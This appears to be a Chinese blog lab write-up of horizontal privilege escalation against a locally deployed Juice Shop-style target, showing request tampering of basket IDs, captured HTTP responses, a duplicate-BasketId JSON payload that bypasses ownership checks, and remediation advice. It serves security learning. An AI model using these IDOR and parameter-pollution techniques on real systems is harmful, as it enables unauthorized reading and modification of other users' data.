水平越权实战:从未授权读取到未授权修改

本文实验均在个人本地部署、合法授权的靶场环境中完成,仅用于安全学习与漏洞分析。

一、实验目标与环境

1.1 实验目标

本次实验针对应用中的购物篮功能进行访问控制测试。

通过创建两个权限等级相同的普通用户,分别建立各自的购物篮资源,
在保持当前用户身份凭据不变的情况下修改请求中的资源标识,
验证服务端是否正确检查“当前用户”与“目标资源”之间的归属关系。

主要验证两个场景:

  1. 当前用户是否能够读取其他普通用户的购物篮数据。
  2. 当前用户是否能够修改其他普通用户的购物篮数据。

并结合后端源码分析漏洞产生原因,给出修复方案并进行复测。

1.2 实验环境

项目 说明
实验目标 本地部署的授权靶场
目标地址 http://127.0.0.1:3000
测试工具 Firefox、Burp Suite
测试用户 两个权限等级相同的普通用户
漏洞类型 Broken Access Control / IDOR
测试资源 用户购物篮

二、建立双用户测试环境

2.1 创建测试用户

为了验证水平越权,创建两个具有相同权限等级的普通用户。

用户 User ID Basket ID Role
用户 test1 24 9 customer
用户 test2 25 10 customer

两个账号均为普通用户,不存在管理员与普通用户之间的权限等级差异。

2.2 建立资源归属关系

分别登录用户 test1 和用户 test2,并向各自购物篮添加不同商品。
test1购物篮中商品:
image
test2购物篮中商品
image
通过不同商品区分两个用户的购物篮,为后续越权测试建立明确的资源归属关系。

2.3 分析身份凭据

登录后获得 JWT。
test1:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoyNCwidXNlcm5hbWUiOiIiLCJlbWFpbCI6InRlc3QxQHRlc3QuY29tIiwicGFzc3dvcmQiOiI1YTEwNWU4YjlkNDBlMTMyOTc4MGQ2MmVhMjI2NWQ4YSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMDktMjQgMDc6Mzg6NTUuMTQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMDktMjQgMDc6Mzg6NTUuMTQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImJpZCI6OSwiaWF0IjoxNzkwMjM1NTc2fQ.v1s4e3XaH-0vvYvpDxgrSDprwzQTdJ1TzMZbhgG6b3-WIB2TTjBK9X77O4tL7D3_fUuUBUPdIkjaY3yRPulQTZLstS7vtUuYEjTpWUOow6-OjIaRfdjXZHLjH-h9AYGgPo2On6xTBKy-Ot7TGCzFZf042OKnRXZeZVWAsKbHoGM

test2:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoyNSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6InRlc3QyQHRlc3QuY29tIiwicGFzc3dvcmQiOiJhZDAyMzQ4MjkyMDViOTAzMzE5NmJhODE4ZjdhODcyYiIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMDktMjQgMDc6Mzk6MjQuNzkwICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMDktMjQgMDc6Mzk6MjQuNzkwICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImJpZCI6MTAsImlhdCI6MTc5MDIzNTY4N30.YyyfkXvJrjAmGNmrB7gKjdCeurid4fFDvLxUK8TUcB9EqJSJUFVc_gGldJaMyuiGX5lV-cz80OCPiuRfW5d424YS6w4bbaLUmLFHw79QmJ3dcumYgf0zeIWwK7XJxaJ3RGbjTrF8p1R4JRt5UoT_FIvLaD_DZ3mdshn1k8B-_es

解码 Payload 后可以观察到:

用户 test1:

User ID = 24
Basket ID = 9
Role = customer

用户 test2:

User ID = 25
Basket ID = 10
Role = customer

三、正常访问基线

3.1 分析用户 test1 正常请求对应的响应

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 857

ETag: W/"359-aqdJZHJGoKQAbv8GqhkOMUMwgfk"

Vary: Accept-Encoding

Date: Thu, 24 Sep 2026 08:51:54 GMT

Connection: keep-alive

Keep-Alive: timeout=5



{"status":"success","data":{"id":9,"coupon":null,"UserId":24,"createdAt":"2026-09-24T07:39:36.118Z","updatedAt":"2026-09-24T07:39:36.118Z","Products":[{"id":42,"name":"果汁商店最佳销售插画","description":"Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a succesful carreer in selling used ships, coffins, krypts, crosses, real estate, life insurance, restaurant supplies, voodoo enhanced asbestos and courtroom souvenirs before <em>finally</em> adding his expertise to the Juice Shop marketing team.","price":5000,"deluxePrice":5000,"image":"artwork2.jpg","createdAt":"2026-09-22T10:53:07.029Z","updatedAt":"2026-09-22T10:53:07.029Z","deletedAt":null,"BasketItem":{"ProductId":42,"BasketId":9,"id":11,"quantity":1,"createdAt":"2026-09-24T08:41:15.340Z","updatedAt":"2026-09-24T08:41:15.340Z"}}]}}

可知用户test1,userid:24,basketid:9对应商品id:42,name:果汁商店最佳销售插画。与此前购物篮中商品对应成功。

3.2 建立用户 test2 的资源对照

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 607

ETag: W/"25f-9LzIPLxGawP7JeHx1jwXgYRHk7E"

Vary: Accept-Encoding

Date: Thu, 24 Sep 2026 08:51:58 GMT

Connection: keep-alive

Keep-Alive: timeout=5



{"status":"success","data":{"id":10,"coupon":null,"UserId":25,"createdAt":"2026-09-24T07:41:27.123Z","updatedAt":"2026-09-24T07:41:27.123Z","Products":[{"id":53,"name":"布拉加(500ml)","description":"Traditional Balkan drink made from fermented millet. Lightly sweet-sour, refreshing, and naturally energizing.","price":2.49,"deluxePrice":2.49,"image":"braga.jpg","createdAt":"2026-09-22T10:53:07.030Z","updatedAt":"2026-09-22T10:53:07.030Z","deletedAt":null,"BasketItem":{"ProductId":53,"BasketId":10,"id":12,"quantity":1,"createdAt":"2026-09-24T08:41:19.211Z","updatedAt":"2026-09-24T08:41:19.211Z"}}]}}

可知用户test2,userid:25,basketid:10对应商品id:53,name:布拉加(500ml)。与此前购物篮中商品对应成功。

四、水平越权读取验证

4.1 测试思路

正常情况下,用户 test1 应只能访问属于自己的 Basket 9。

因此保持用户 A 的认证信息不变,仅修改请求中的 Basket ID:

Basket 9 → Basket 10

用于验证服务端是否检查当前用户与目标购物篮之间的资源归属关系。

4.2 修改资源 ID

原始请求:

    GET /rest/basket/9 HTTP/1.1
    Authorization: Bearer <用户A Token>

image

修改为:

    GET /rest/basket/10 HTTP/1.1
    Authorization: Bearer <用户A Token>

image

除 Basket ID 外,其余请求内容保持不变。

4.3 分析服务器响应

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 607

ETag: W/"25f-9LzIPLxGawP7JeHx1jwXgYRHk7E"

Vary: Accept-Encoding

Date: Thu, 24 Sep 2026 08:58:42 GMT

Connection: keep-alive

Keep-Alive: timeout=5



{"status":"success","data":{"id":10,"coupon":null,"UserId":25,"createdAt":"2026-09-24T07:41:27.123Z","updatedAt":"2026-09-24T07:41:27.123Z","Products":[{"id":53,"name":"布拉加(500ml)","description":"Traditional Balkan drink made from fermented millet. Lightly sweet-sour, refreshing, and naturally energizing.","price":2.49,"deluxePrice":2.49,"image":"braga.jpg","createdAt":"2026-09-22T10:53:07.030Z","updatedAt":"2026-09-22T10:53:07.030Z","deletedAt":null,"BasketItem":{"ProductId":53,"BasketId":10,"id":12,"quantity":1,"createdAt":"2026-09-24T08:41:19.211Z","updatedAt":"2026-09-24T08:41:19.211Z"}}]}}

image
可知,用户test1访问到用户test2的购物篮数据

4.4 漏洞结果分析

整个访问过程可以表示为:

用户 test1
UserId = 24
│
│ test1 的合法 Token
▼
GET /rest/basket/10
│
▼
Basket 10
UserId = 25
│
▼
HTTP 200 + 用户 test2 的资源

由此验证:

服务端虽然进行了身份认证,但没有正确验证当前认证用户是否具有访问目标资源的权限。

因此用户 test1 可以读取同权限等级用户 test2 的资源,构成水平越权访问。

4.5 扩展

修改test2中basketid为9,查看响应包:
原始:
image
修改后:
image
用户test2 读取同权限等级用户 test1 的资源,构成水平越权访问。

五、水平越权修改验证

5.1 捕获正常写操作

使用用户 test1 添加苹果汁,通过 Burp Suite 捕获对应请求。
image
可知test1对应的basketid:9添加商品苹果汁id:1.
使用用户 test2 添加苹果糊, 通过 Burp Suite 捕获对应请求。
image
可知test2对应的basketid:10添加商品苹果糊id:24.

5.2 分析用户 test1 正常请求对应的响应

image
可知添加成功。

5.3 修改用户 test1 目标 Basket ID

仅修改:

Basket ID:9 → 10
image

HTTP/1.1 401 Unauthorized

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Content-Length: 30

ETag: W/"1e-Civ7sdKmdsocUgNskj+82erp3UM"

Vary: Accept-Encoding

Date: Thu, 24 Sep 2026 09:50:54 GMT

Connection: keep-alive

Keep-Alive: timeout=5



{'error' : 'Invalid BasketId'}

返回报错信息:无效的basketid,修改失败。
得知,无权限修改。

5.4 验证

修改用户 test2 的basketid为9:
image

HTTP/1.1 401 Unauthorized

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Content-Length: 30

ETag: W/"1e-Civ7sdKmdsocUgNskj+82erp3UM"

Vary: Accept-Encoding

Date: Thu, 24 Sep 2026 09:52:30 GMT

Connection: keep-alive

Keep-Alive: timeout=5



{'error' : 'Invalid BasketId'}

验证无权限修改。

5.5 思路(但其实这就并非无授权修改了)

既然这样,将test2的JWT直接复制到test1的Authorization: Bearer ,
那么结果如下:
image
成功修改。

5.6 验证修改成功

在拦截模块,修改test1的Authorization: Bearer ,放行,查看test2用户的购物篮:
image
验证成功,成功将苹果汁添加其中。
反向验证:
image

六 思路延续

再构造字段"BasketId":"10",

image
image

七 实验结果

在本实验中,直接将添加商品请求中的 BasketId 修改为目标用户购物车 ID 时,服务器返回 Invalid BasketId,说明后端存在基础的购物车归属校验。

但进一步测试发现,当请求体中同时出现两个 BasketId 字段时,服务端校验逻辑与实际写入逻辑存在不一致:

- 校验阶段使用第一个 `BasketId`
- 实际写入阶段使用最后一个 `BasketId`

因此可以构造如下请求:

{
  "ProductId": 1,
  "BasketId": "自己的购物车ID",
  "BasketId": "目标购物车ID",
  "quantity": 1
}

八 修复建议

该漏洞的根本原因是服务端对象级授权校验不足,并且在处理重复 BasketId 参数时存在“校验值”和“写入值”不一致的问题。
修复时不能只依赖前端隐藏按钮,也不能只判断用户是否登录,而应在服务端对每一次资源操作进行归属校验。
具体修复建议如下:

  1. 读取购物篮时,查询条件应同时包含 BasketId 和当前登录用户的 UserId,避免用户通过修改 URL 中的资源 ID 读取他人购物篮。
  2. 添加商品时,不应信任客户端传入的 BasketId。服务端应从当前登录用户的 JWT、Session 或数据库关系中获取其真实 Basket ID,并强制写入该 Basket。
  3. 对请求体中的重复字段进行拦截。如果 JSON 中出现两个同名字段,例如两个 BasketId,应直接返回 400 Bad Request,避免参数污染导致校验与执行不一致。
  4. 修改或删除购物篮商品条目时,不能只根据 BasketItem.id 操作数据,还应联表校验该条目所属的 Basket 是否属于当前用户。
  5. 将购物篮归属校验封装为统一的权限校验函数,所有读取、新增、修改、删除接口统一调用,避免不同接口权限逻辑不一致。
  6. 修复后应使用两个普通用户进行复测,确认用户只能读取和修改自己的购物篮资源,无法通过修改 BasketId、重复参数或子资源 ID 操作其他用户的数据。
posted @ 2026-09-24 18:30  网安新手  阅读(4)  评论(0)    收藏  举报